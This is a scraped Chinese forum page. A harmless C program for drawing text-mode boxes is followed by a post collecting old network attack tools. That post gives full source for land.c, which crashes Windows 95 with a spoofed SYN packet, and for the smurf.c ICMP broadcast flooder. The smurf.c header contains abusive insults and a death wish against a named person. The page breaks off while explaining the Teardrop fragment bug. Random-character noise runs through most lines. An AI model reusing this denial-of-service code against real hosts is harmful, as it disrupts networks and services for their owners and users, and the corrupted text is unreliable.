<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
) g! l- V7 Q" P7 u<FONT color=#009900>/*( z7 e+ E( g. Z4 m7 K  w) V
*+ j6 |) }$ O/ Z
* Short driver module
3 Z3 Y, I! T4 Z% v2 ^* b*- n8 p; M' X, f& s4 T5 U7 o2 f- C
*/</FONT></P><><FONT color=#009900>main()
+ l( E5 m( N% d9 [* {5 D3 k6 G{
- `$ P" F7 }1 Q! Mclrscr();
7 p5 d  W! [8 Tbox(1,1,23,79);! k5 d/ S- p+ L9 F- O2 E3 I1 n4 q) c; l
box(2,2,21,77);
' Q6 c) l4 b+ A+ e/ W# Xbox(3,3,19,75);
+ s) G" e! ?8 G8 n9 `+ J" kbox(4,4,17,73);! A% j0 @) [! Z. x3 |& \
box(5,5,15,71);! G2 c+ K9 C/ `3 [+ Q* Q3 Q6 r3 C( o
box(6,6,13,69);
( u4 U9 P8 p$ s/ J- {5 F# cbox(7,7,11,67);
8 U. y) V( S" u( |. D- fbox(8,8,9,65);
# F* D+ m* r; o. pbox(9,9,7,63);
% l. F5 f+ o& O+ U# U1 w' u/ Vbox(10,10,5,61);, U- s; p. @% i+ o' U5 k) Q
box(11,11,3,59);
) H* G4 g. @+ h6 E8 j4 O  ibox(12,12,1,57);
" |+ F6 [1 d: ^' v' H+ d' [6 y( o7 Bposcur(24,1);
  d4 b4 D1 l: f" Y}</FONT></P><><FONT color=#009900>/************************************************************
* |+ J" m" A, Z5 x; w* BOX *1 O; c, i& O+ S
*----------------------------------------------------------*
  a8 _3 t9 {: v9 L" R7 `* Written by: Jeff Ebert 7/01/87 *. a) T. B* w; B4 P& `
* Modified by: xxxxxxxxxx *
+ E; [' L! {/ X) r' R* *
8 z1 W+ a8 _/ n$ p5 i$ m2 o3 w* Please modify me! */ c: R: T# {! B( A
* Possible Enhancements include but are not limited t *: c$ ^% G# o. t! ?  r
* 1) Variable box character styles [1 line or 2] *4 F  K5 x2 x' I+ l2 B8 ~/ d8 e- F
* 2) Error checking *7 p" v, g# y* ^: ]
* 3) Color options *' {, s* V- f& H& L% @; O
* ** e. o- |# z1 r+ n- }
* *1 U: M) d8 `- P. V- N8 {: {2 G
* This function builds a simple double frame for a menu. *
* L. z+ b7 x* v* The function is passed the parameters for the upper *; r1 w) Z1 h6 D; N) H/ b& x
* left corner row, upper left corner column the height *
2 g! j+ s6 q$ c" R! a0 Q4 W* of the frame and the width. *; A! _1 q  d! ]4 p8 U
* *! V/ U2 {8 \  |4 _. T, x8 a
************************************************************/
) a1 W3 v' \  k* w! z#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201: r9 j) R9 `5 E0 ^
#define URCOR 187; h5 J  Z8 M4 q; g- `5 \5 O3 ]
#define LLCOR 200& w. O: Q. G+ n# i7 l, q
#define LRCOR 188
8 n7 r2 I3 I9 ?8 ~#define VBAR 186* X! Q. y3 z2 \+ o, M5 v  f1 v
#define HBAR 205
& i0 I6 L  E5 T, z$ E5 K#define ESC 27</FONT></P><><FONT color=#009900>) \( t6 c8 p1 @) Y1 }( f
box(row, col, hgt, wdth)
* {% @5 \" A1 J% n; u5 y- oint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{; j+ H1 A8 G1 _
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
2 X6 Z4 l$ N; b- yputchar(ULCOR);# ^( h8 F. G+ B
for(x = col + 1; x &lt;=(col + wdth -1); x++)8 [# A% B, v6 E$ t' k4 s1 ]
putchar(HBAR);
* I0 ^* F5 M* M0 F9 Yputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){" C/ a& U9 G( S8 x9 ?9 E1 w5 v9 V& _
poscur(x,col);
% k1 X4 z+ ]) Z4 X8 W) J; Vputchar(VBAR);, s2 U9 x  m1 j& Z! i
poscur(x,col+wdth);, }) K; |) k8 j, X. }; ~& l4 ~
putchar(VBAR);
) g5 V* k5 A. f3 O/ `" s}& f3 K' a& G  D: l! v
poscur(x,col);0 w% `$ o  I$ G1 Q4 p
putchar(LLCOR);2 v  q6 h8 {( R
for(x= col + 1; x &lt;=(col + wdth -1); x++)
! V8 k1 B* v3 |3 {5 d' r0 U$ jputchar(HBAR);
3 j3 f( M# S" x' Eputchar(LRCOR);: [1 A3 N# G( ]  G7 Y& W3 y
}</FONT></P><><FONT color=#009900>/********************************************************
* f: n! {6 q% A1 |' O* POSCUR *( Y( ~. `8 m0 Y8 i( h, g* T+ \1 U, T: q
*------------------------------------------------------*
6 q) i/ O: u" r$ [* I* This function positions the cursor at the specified *% @0 |$ h7 x/ D3 ~- ]$ p; H
* x,y coordinate. It uses the ANSI standard ESCAPE *
9 Z$ L$ A5 D0 R9 X  b+ X9 S* sequence to produce the desired effect. Its not the *9 u9 z. e# d; ?
* fastest way to position the cursor, but perhaps the *" x  D7 v% f1 B
* most portable. *
1 T! ?: f5 G, a' O6 N) w6 e7 F, F% T* *
  E! B0 n9 N& O3 `! A+ D6 x$ y6 _, [********************************************************/
4 n5 Q+ L3 n6 Y: @/ m  z6 U7 y2 K7 {& Rposcur(xcor,ycor)- X  J; P, K5 q
int xcor,ycor;
+ @3 w) c2 K; X, k, e$ l8 K. e: c* J! P) @{
0 m+ H) x4 Q1 \1 o' oprintf("%c[%d;%dH",ESC,xcor,ycor);  {( q. w3 v/ n: E2 V. W! Z
}</FONT></P><><FONT color=#009900>
5 w6 K; j$ K4 z0 q" d) W1 u9 ~+ c/********************************************************+ I- F) ^8 O: `9 V% n+ L
* CLRSCR *- U1 @, j- v5 _
*------------------------------------------------------*' S; e* u* [' m, h6 y1 A7 B
* This function positions the cursor at the specified *
( ?* L* B! w+ c# J* x,y coordinate. It uses the ANSI standard ESCAPE *$ Y, g1 z( E1 I! B
* sequence to produce the desired effect. Its not the *, S3 Q) J! s+ i0 m& a* D
* fastest way to position the cursor, but perhaps the *- q) ~4 w- Q- k8 s- Q
* most portable. *0 d" u: C; c% w$ |2 X& \7 s
* *
6 s7 |& o) _: \# |7 u********************************************************/' c' {6 D* A5 i, k9 |6 _1 y
clrscr()% N* Y, c' K5 y4 h% k& R& ~
{ , d- i+ a$ j# f2 F2 H( W2 J
printf("%c[2J",ESC);
8 h+ x% h- ^3 Q' l7 q$ P}</FONT>) z4 e- W7 N! R
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
* J3 y& D3 _4 z! X这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
! d7 U- }# ~+ X* o己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
6 w9 \$ u! |. m2 ]<FONT color=#009900>/* land.c by m3lt, FLC8 E5 n8 D/ {9 m9 i7 Z& h& R3 L+ @
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>% W$ {! A& I2 [) E- A
#include <NETDB.H>; i1 c1 u7 B. F' @+ w6 S2 J
#include <ARPA inet.h>
* K. ?9 n8 P) b: |" s#include <NETINET in.h>
. |0 E! ?2 j. I+ H) C#include <SYS types.h># r& u. n% N4 k9 |! z+ S
#include <SYS socket.h>8 K$ B0 E& A( H% ]6 h5 [+ c
#include <NETINET ip.h>
6 K! ?' {1 S7 A, f#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
: E* B# j% b3 }& g: Lstruct pseudohdr- n5 I* j' ?' V* G$ F& n5 v3 @
{
5 K% U- T* E5 j4 e9 Dstruct in_addr saddr;
0 L% O1 e% w& Z6 k/ h/ tstruct in_addr daddr;
. U0 S$ M& I' I9 j' Q+ Vu_char zero;5 F  o* h# P& S
u_char protocol;2 n& a: @) I. u: h# e
u_short length;& O5 k0 s1 `/ ?8 P
struct tcphdr tcpheader;% x% n$ \+ w' T# ^# e. D$ X
};</FONT></P><><FONT color=#009900>//计算IP校验和
+ z* X# \9 l5 s+ H( |" nu_short checksum(u_short * data,u_short length)
% Q% C4 n- h1 K' x7 v{
" S8 c4 i! H# U6 J, S" zregister long value;( R3 @& G! |' {
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)* S7 s! Q; X# F+ Q
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)  Q% B8 N- y; |, L4 [/ H
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);0 \3 `! ^, I" {0 R" b9 Y
}</FONT></P><><FONT color=#009900>
9 o. ]9 R) U2 ^int main(int argc,char * * argv)5 _& q3 U5 s5 @( J6 a& l
{
6 N$ U: s% L0 v: i( r) istruct sockaddr_in sin;
+ K" a3 a9 z/ istruct hostent * hoste;3 z" @% g8 Q) G. `
int sock;
* j4 N7 l! s6 c: N" qchar buffer[40];
! X7 P9 ?6 ?5 |! Z( _. S8 P+ ^0 A9 W0 mstruct iphdr * ipheader=(struct iphdr *) buffer;
% H' C$ O6 d2 t5 G$ w" y& `; Hstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));8 m8 I) C/ O" r% a/ B3 {
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
/ O) o: g! T: p{
# H# Q/ n$ v0 D$ Tfprintf(stderr,"usage: %s IP port\n",argv[0]);2 x7 E+ i+ T9 V2 ^- X# A5 s
return(-1);
' s6 D2 Z2 x8 b1 U! G}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
2 {$ R, B) U) l# N' m7 ?' bsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL); m; n& A8 a+ i; o* ]" z
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);" Z4 p1 P# x% m- h
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)  b* V# M6 Q; h3 b/ l1 P
{1 K% X1 I/ I. B4 I4 Z- s
fprintf(stderr,"unknown host %s\n",argv[1]);
( R  R, a" f. ?8 p; \5 C1 wreturn(-1);
" Q# k7 ^/ a2 q7 B* j# X}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
, s! p9 F+ K4 `3 Z1 R{  a% G4 g+ Q# N% }
fprintf(stderr,"unknown port %s\n",argv[2]);* H( v4 B. g% x- g" }, H1 L+ B; U
return(-1);# g- N( o! e& n3 q
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
" \$ N+ _0 h& M; ^+ E6 v6 }3 Yif((sock=socket(AF_INET,SOCK_RAW,255))==-1)5 ?) i3 d; O0 q. ]5 X( |
{
* z& R4 B7 K2 i) ]fprintf(stderr,"couldn't allocate raw socket\n");8 v/ t0 s7 u- a- k0 w
return(-1);
! x: @) H, N+ C" L8 ?3 q% Y}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
6 K, n. x) _$ S7 p" |8 Nipheader-&gt;version=4;- N& X! c" o5 y( Z0 V  Q/ b5 f
ipheader-&gt;ihl=sizeof(struct iphdr)/4;- J; _  c, [1 k0 x: V, o  t& }
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));7 Q# `9 C. G1 r5 e) q/ p
ipheader-&gt;id=htons(0xF1C);" z  F7 x, o  `) M
ipheader-&gt;ttl=255;
8 W7 C* d7 W% z, Q) |ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同  ]" f* P* H$ q* a. G# D/ T* Y" ?
ipheader-&gt;saddr=sin.sin_addr.s_addr;
4 t8 y" `$ l3 h5 @( zipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
( @3 Q8 W' I& Utcpheader-&gt;th_sport=sin.sin_port;
5 L+ a2 X$ ?/ h* E, dtcpheader-&gt;th_dport=sin.sin_port;9 [! }) @; _: N$ ?* ~* N+ }
tcpheader-&gt;th_seq=htonl(0xF1C);$ F1 a( P4 a* C3 p. ]
tcpheader-&gt;th_flags=TH_SYN;
4 m$ F" f2 `$ v4 K0 r! |5 E0 ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
3 J* c* K$ E% }1 v# L) ctcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));/ ?9 [! _4 |7 l3 j: {
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
! G6 W. k' e0 ]- H) K. _0 kpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;+ Z3 A& R0 f0 Z! P+ w1 y* P
pseudoheader.protocol=6;
$ }1 F0 y: I: f2 l$ bpseudoheader.length=htons(sizeof(struct tcphdr));: V" w! ?  `& d1 P; j* Q
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
! {' A4 h% r' ]4 ztcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
: Q* J- z, a2 {( b5 i0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)  b$ g3 o6 |$ r, @9 J2 F+ k
{
  d7 m1 V7 f! h5 I' R3 xfprintf(stderr,"couldn't send packet\n");% M& Y% z( G( e  M
return(-1);
. o7 S/ p& M7 K7 Z/ \0 r}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);' x( C1 C! [5 a8 g# ]
return(0);
) V! b. C) L0 p: \# d! G4 h" O# J}</FONT></P><>
( q% ?( Y; g  Y2 Smurf
  S/ i  \! s( S0 G0 }+ Ksmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数3 l  w. g3 u* ]2 t- M8 ]& K% Z
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
3 \' K# g! s" {' I, q4 C( Y的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
& B2 v1 `0 d  v# licmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
' o6 `8 }% q* M* h0 X5 L(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变/ e' {" P$ \3 `: I, p6 t# ]$ f
成不可能(没有WINS服务器时)。</P><P>/*1 U" M/ g$ D3 `" G
*4 {6 C6 V0 L; X) O6 n( v) t& q* s
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $8 h4 m. K+ A( H& E0 S1 B) y2 v
*. k4 z0 [5 v' m/ z- @
* spoofs icmp packets from a host to various broadcast addresses resulting3 u7 F: y* g7 C" }% ]5 P
* in multiple replies to that host from a single packet.$ B2 D+ j9 w0 M' q6 c" M) d
*$ b% M7 |. a; r6 O, X5 J
* mad head t: I5 ]3 g% |. ]- K  n+ N5 j
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
$ F1 p0 e# w2 m* MissSatan for swallowing, napster for pimping my sister, the guy that
7 f% x: r) k% G* invented vaseline, fyber for trying, knowy, old school #havok, kain: k3 \1 E( g1 z7 r% D. x
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
5 t/ _: R+ h" L6 {* f5 f  Q, C* have missed (you know who you are).
8 Y3 B( H! Z/ @. [% M' u*7 e! f# K# T" Y4 |' {
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
4 \3 h8 h) C( Y. {) c: {3 I+ h* thing he is (he's -almost- as stubborn as me, still i managed to pick up
5 I# A7 \- ^' I( }* l7 }9 h6 _5 R* half the cheque).
1 @' `, R- k" h/ w  Q*
! y) e8 A5 h$ K* and a special hi to Todd, face it dude, you're fucking awesome.) @! f+ l5 X$ I6 ~2 ^5 @, g
*4 i$ M3 o" c+ p1 N$ c# \2 Z
* mad anal t% v" Y7 x) m& _7 g0 I
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps" P) t) B! e& g3 }' J4 z
* because they plain suck, Rolex for being a twit, everyone that, `* A, p+ M2 j2 P3 X; X! {7 c
* trades warez, Caren for being a lesbian hoe, AcidKill for being her) y9 i  z7 Z# Y+ A6 t( ~
* partner, #cha0s, sedriss for having an ego in inverse proportion to
( `; _& P4 X7 [4 o' N+ l5 u, R* his penis and anyone that can't pee standing up -- you don't know what
# n# q$ C& W  S2 B0 E* your missing out on.
7 F& e4 ?. o) [7 {6 w  Y*
2 S4 C: A' U( S' y* and anyone thats ripped my code (diff smurf.c axcast.c is rather' h- ?. Z2 d# B8 t2 R* F$ L
* interesting).8 n0 Z' f' \2 o8 }0 B
*
7 N+ K7 x( u8 f; }* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
; D+ M6 T' V2 R( q; k, w; n* Robbins for trying to steal my girlfriend. Not only did you show me; Y# m- t+ \4 L3 w
* no respect but you're a manipulating prick who tried to take away the" \& X0 X7 o: r
* most important thing in the world to me with no guilt whatsoever, and
( D/ s/ [) v. `" a) T0 F# w* V* for that I wish you nothing but pain. Die.
3 V0 W3 y$ m. g*- E9 T4 s$ L6 E$ w! K: s
* disclaimer:; T) q: ~  Q3 b- N* Z* G# P
* I cannot and will not be held responsible nor legally bound for the3 l' q/ e. r1 O; R2 y: y
* malicious activities of individuals who come into possession of this
# H+ [# e: V3 ~) C+ u* program and I refuse to provide help or support of any kind and do NOT
8 K: ^$ p% {) Z5 W* condone use of this program to deny service to anyone or any machine.
6 _" O+ J$ a! D* This is for educational use only. Please Don't abuse this.* n$ u" [" ?$ D& Z! J3 Q. s
*4 ?) W( J) L/ A1 u9 G1 u  ^
* Well, i really, really, hate this code, but yet here I am creating another0 O+ z# \; q0 W& k- R, H
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,' g2 \2 v! {+ v- ]
* like most programmers don't like seeing bugs in their code. I saw a few) P' d/ w0 K; R6 h
* things that should have been done better or needed fixing so I fixed
. `: Q, N4 H( Z3 P9 O  w: A9 b* them. -shrug-, programming for me as always seemed to take the pain away  B0 n$ Y5 Z2 W) t  E- |5 T1 B; R9 }
* ..." b4 T5 g+ D! F9 p5 M
*
) ~- \3 y3 _+ k2 U( l* C5 U2 z/ X*0 Y' p# \  D7 a8 L" m7 u$ g4 X
*/</P><P>#include <SIGNAL.H>
8 l8 T  V% ~$ H& f# z' z#include <STDIO.H>
$ m, j6 y2 ?1 K#include <STDLIB.H>( p7 }* `! |- _7 c$ }
#include <SYS socket.h>- M/ b4 A3 k9 U! A
#include <SYS types.h>
3 v8 B& x  ^9 }% v0 }2 a8 N% `3 s% L#include <NETINET in.h>  _% @$ H$ T4 H
#include <NETINET ip.h>4 |$ C3 U6 H" V. r) \
#include <NETINET ip_icmp.h>( p7 o" p, m% w7 t2 s8 I' ~
#include <NETDB.H>4 d# @. R  T/ q  G) \2 P
#include <CTYPE.H>
2 x# b, @2 R; L2 l, T#include <ARPA inet.h>
# o- }8 ^' d( m1 A#include <UNISTD.H>
7 w6 B  C3 Q" o" J#include <STRING.H></P><P>void banner(void);# W( I' K& F: I( `7 R
void usage(char *);8 V: a1 {- H  b* H; O5 O
void smurf(int, struct sockaddr_in, u_long, int);
, r0 E4 Y4 N5 H# N) qvoid ctrlc(int);" o# R+ M" \" |$ g
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
0 M6 C# H2 c3 mchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
# ~2 J6 k/ u% }8 ?4 R2 n" Y: u; M{4 x3 Q/ f. S" M
struct sockaddr_in sin;9 D8 _; ^3 _- R% U7 _
struct hostent *he;
. j! D7 u- ^$ K; LFILE *bcastfile;
4 {" u0 r4 [- |0 ]  lint i, sock, bcast, delay, num, pktsize, cycle = 0, x;: ~- U) \# E$ p4 T0 [. M) y
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
+ s, {" q" F" f2 G+ {signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {  T! g0 R" o+ S9 k+ t6 J8 N
perror("resolving source host");
7 j5 k+ R* B# K6 pexit(-1);/ h! ^: H9 N5 ], R
}
/ _8 `) I3 b# Nmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
% O: J* S/ k1 K5 m; \. {0 a- Vsin.sin_family = AF_INET;$ b5 u. @! J! |) Z3 ~
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
1 H* `6 h9 M* e) p: [. [+ K* X/ ]delay = atoi(argv[4]);
" J$ x  W4 ]/ ]0 C+ dpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
9 X% I7 `- k& S" _- Wperror("opening bcast file");
9 q+ [; C; q( w" h$ ]8 Xexit(-1);
# j; s0 f6 d) y8 D0 ]! C0 y}3 [! k2 `" [# R' A% u
x = 0;
, P" W  G; D1 M: twhile (!feof(bcastfile)) {
8 ~! Q- l) D6 z& j2 r  Bfgets(buf, 32, bcastfile);
  {) O1 c& b; J3 |5 k& Pif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;2 h: Q1 Q6 r9 Z+ P; m8 Z( {
for (i = 0; i &lt; strlen(buf); i++)
0 F6 @! V: d3 F' ^/ O6 t7 P8 {if (buf == '\n') buf = '\0';9 z! c) H: V. R& J# A" z
bcastaddr[x] = malloc(32);/ U4 ~0 ~% Y  b; M5 W
strcpy(bcastaddr[x], buf);
- \2 |* o' P7 e5 Bx++;
* L) S' N, N- S  S! D2 d: P( i+ Z  D+ l}) T7 ^  ~7 Y+ g/ D# n0 {
bcastaddr[x] = 0x0;5 g* x) ]9 W* V( P- X
fclose(bcastfile);</P><P>if (x == 0) {
9 w# e9 g: i6 q9 s1 I& k# bfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);$ E4 @  ~4 n# f& g7 h1 i: s6 {7 o
exit(-1);
- Q- P$ X' w+ L}+ q* G/ V# x, r; K) `7 r4 E
if (pktsize &gt; 1024) {
& `2 W2 m" Y4 q) ]- \7 Cfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");- a. ~& D& p; L$ d- u8 E! i
exit(-1);
. y$ m  m6 C0 h& a4 n' t7 S}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {2 A4 p- _2 R- d4 y2 z2 S
perror("getting socket");
& o% F2 X+ a! Dexit(-1);
1 ], Q% Y8 x' \- u- X}
6 J, t9 v0 |: Rsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
+ R5 E: C+ N/ r5 p  Yif (!(i % 25)) { printf("."); fflush(stdout); }
2 U9 A5 Q, b9 h8 M* qsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);! Q/ j3 B0 Y0 }! Z
cycle++;
* t& ?7 k, x+ aif (bcastaddr[cycle] == 0x0) cycle = 0;
. S  G  X  ?) fusleep(delay);7 X* Y) V& i: x5 I4 D
}$ w+ B1 x7 g* U$ A- {* F
puts("\n\n");1 S7 n$ D8 P' y9 y
return 0;
9 x- v2 K0 [7 m}</P><P>void banner (void)
/ M6 z- }! C, f" O( {{
( p& R) N- c, Bputs("\nsmurf.c v4.0 by TFreak\n");
+ c( K; F" e/ w! y& x}</P><P>void usage (char *prog)
( L& L  I- |: s$ |  Y8 Q{
$ {4 s3 y: V! O/ H# y. Hfprintf(stderr, "usage: %s <TARGET><BCAST file>", O4 c6 e' c1 \5 O
"<NUM packets> <PACKET delay><PACKET size>\n\n"% S! u5 c8 I0 p  F& b# C' A
"target = address to hit\n"
0 B/ K9 U/ g  z6 b2 e"bcast file = file to read broadcast addresses from\n"
0 ]9 A/ Z3 P! d"num packets = number of packets to send (0 = flood)\n"
7 `* {: X; v5 U7 M"packet delay = wait between each packet (in ms)\n". b: Z; l4 N8 g: E3 |* l
"packet size = size of packet (&lt; 1024)\n\n", prog);
! w8 Y3 B( ]' e9 G* P  j4 D6 Mexit(-1);9 v4 x/ j6 P, ]. E0 o& x
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize): z/ _/ Q/ e$ z: R6 \4 z4 P
{
5 g6 K: V8 A5 }, e8 I' \struct iphdr *ip;! R: A0 d) u- I1 \4 E
struct icmphdr *icmp;+ n: p9 Q. t" ~- O
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
2 O4 Y+ u% I: }; Sip = (struct iphdr *)packet;
$ A; j8 \; ]3 p  S: y8 \icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);4 E% i9 r, n  o5 C& {% t  c
ip-&gt;ihl = 5;$ Z$ Y! a' j. l. {
ip-&gt;version = 4;+ B+ T) z2 Z/ d1 B" C
ip-&gt;ttl = 255;8 v( ?" a- F9 B3 O3 T% Q0 W+ E
ip-&gt;tos = 0;
- g& d) c+ K, J1 k$ S. h( h4 Qip-&gt;frag_off = 0;
9 [# A; b8 e6 k! Kip-&gt;protocol = IPPROTO_ICMP;& \7 L( O" F; g5 `
ip-&gt;saddr = sin.sin_addr.s_addr;; |* R0 H# {# V, U
ip-&gt;daddr = dest;
! g  v8 h' V  S3 f; W5 oip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));" k  k! ~# X9 Z3 m7 r* T, d$ w
icmp-&gt;type = 8;9 E6 h; V% R! v, a# E
icmp-&gt;code = 0;
: U* p, g" A1 n, Cicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
) [! y! K! D* S( S* Y. n5 z0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
( n; v: W$ M; h* k* W) H}</P><P>void ctrlc (int ignored)
) l7 {. k6 N2 ]9 k4 h9 e8 y{8 M9 Y+ L+ Z0 s4 [
puts("\nDone!\n");
. O& ^4 f1 L! j4 cexit(1);
: x0 c7 g- h3 ~+ j+ C}</P><P>unsigned short in_chksum (u_short *addr, int len)! b+ X) ]) c6 l1 I5 J: w
{
5 f$ C4 F* V) a1 |* ]( N) g6 ~6 Zregister int nleft = len;
  e; B. v1 Q2 @! c5 p0 X- Fregister int sum = 0;4 J, g$ J9 ^  _% V- {' x5 O
u_short answer = 0;</P><P>while (nleft &gt; 1) {6 b: R- s- t+ m( t. s: r$ t7 g
sum += *addr++;
. o3 u3 Q" _* ~& T; M. A* ?nleft -= 2;# q9 Q2 c8 k' |+ y! G/ D
}</P><P>if (nleft == 1) {" w8 M  ?1 q/ m. y* M0 q
*(u_char *)(&amp;answer) = *(u_char *)addr;# ~! t. [: G  a% Y, }! w
sum += answer;
9 v/ |7 ?* E9 |" K. g% W6 {}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
4 f8 ^( i& M+ {3 J5 |: |sum += (sum &gt;&gt; 16);
5 O- P. I  i- U; b8 r* Aanswer = ~sum;
. d. w4 R- p5 f, H# Zreturn(answer);$ j% R* p# O- R
}</P><P>2 n: x4 Z- s  X" z
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:- R, a6 J' x3 I" ?# R% @! d7 [
fp = qp-&gt;fragments;
# f( n7 Y- i5 s; ~while(fp != NULL)! {" @" N0 {. h* O0 o. M9 N
{
5 M! X7 F; T8 S, Q6 E4 X; T. vif(count+fp-&gt;len &gt; skb-&gt;len)
0 Z) ]  }) y& O3 R: T{* N3 _. {# @( M2 y$ j
error_to_big;
, ^; A, m' p9 g/ H6 ^# a1 B}2 U  o$ {' @2 q1 y* W3 x
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
. v# i) ~% K1 ^count += fp-&gt;len;7 k7 n4 ?2 _% P, T( _
fp = fp-&gt;next;
- y9 X( q) X! t  J}
( o/ V' R+ J* l! O6 E( V2 h这里只检查了长度过大的情况,而没有考虑长度过小的情况,0 c3 ?! f$ v" `* J) G; u& i
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:* h  g" U5 K/ d9 W  R# V. ^/ _- x. s
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
! H. t9 z/ J4 @3 O是这样处理的:
